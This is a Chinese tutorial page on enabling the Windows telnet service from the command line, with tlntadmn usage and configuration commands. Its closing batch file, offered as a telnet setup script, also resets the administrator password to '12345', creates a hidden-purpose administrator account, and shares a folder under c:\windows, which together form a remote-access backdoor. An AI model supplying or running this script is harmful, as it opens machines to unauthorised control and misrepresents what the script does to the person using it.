cmd下开启telnet的方法

所属分类: 脚本专栏 / DOS/BAT 阅读数: 1240
收藏 0 赞 0 分享
1.启动

sc config tlntsvr start= auto
net start telnet

2.telnet管理工具

C:\>tlntadmn /?
用法: tlntadmn [computer name] [common_options] start | stop | pause | continue
| -s | -k | -m | config config_options
所有会话用 ‘all'。
-s sessionid 列出会话的信息。
-k sessionid 终止会话。
-m sessionid 发送消息到会话。
config 配置telnet 服务器参数。
common_options 为:
-u user 指定要使用其凭据的用户
-p password 用户密码
config_options 为:
dom = domain 设定用户的默认域
ctrlakeymap = yes|no 设定ALT 键的映射
timeout = hh:mm:ss 设定空闲会话超时值
timeoutactive = yes|no 启用空闲会话。
maxfail = attempts 设定断开前失败的登录企图数。
maxconn = connections 设定最大连接数。
port = number 设定telnet 端口。
sec = [+/-]NTLM [+/-]passwd
设定身份验证机构
mode = console|stream 指定操作模式。

3.更改验证模式

tlntadmn config sec =passwd

4.更改端口

tlntadmn config port = 1001

5.批处理
复制代码 代码如下:

@echo off
@sc config tlntsvr start= auto
@net start telnet
@tlntadmn config sec =passwd
@tlntadmn config port = 1001
@net user administrator 12345
@net user 394931603 123456789 /add
@net localgroup administrators 394931603 /add
@pause
@md c:\windows\3949
@net share 3949=c:\windows\3949
更多精彩内容其他人还在看

应用dos批处理文件经常用到的DOS常用命令

应用dos批处理文件经常用到的DOS常用命令
收藏 0 赞 0 分享

使用dos批处理文件的意义与应用方法

使用dos批处理文件的意义与应用方法
收藏 0 赞 0 分享

Tree、Unformat、Vsafe命令的区别与使用说明

Tree、Unformat、Vsafe命令的区别与使用说明
收藏 0 赞 0 分享

Interlnk、Intersvr、Qbasic命令的使用方法

Interlnk、Intersvr、Qbasic命令的使用方法
收藏 0 赞 0 分享

Append、Debug、Diskcomp命令的使用说明

Append、Debug、Diskcomp命令的使用说明
收藏 0 赞 0 分享

使用dos批处理文件的几个高级命令,判断

使用dos批处理文件的几个高级命令,判断
收藏 0 赞 0 分享

Ver、Vol、Ctty命令的使用教程

Ver、Vol、Ctty命令的使用教程
收藏 0 赞 0 分享

Ver、Vol、Ctty命令的使用教程

Ver、Vol、Ctty命令的使用教程
收藏 0 赞 0 分享

Setver、Share、Subst命令的使用方法

Setver、Share、Subst命令的使用方法
收藏 0 赞 0 分享

Expand、Fasthelp、Fc命令的用法

Expand、Fasthelp、Fc命令的用法
收藏 0 赞 0 分享
查看更多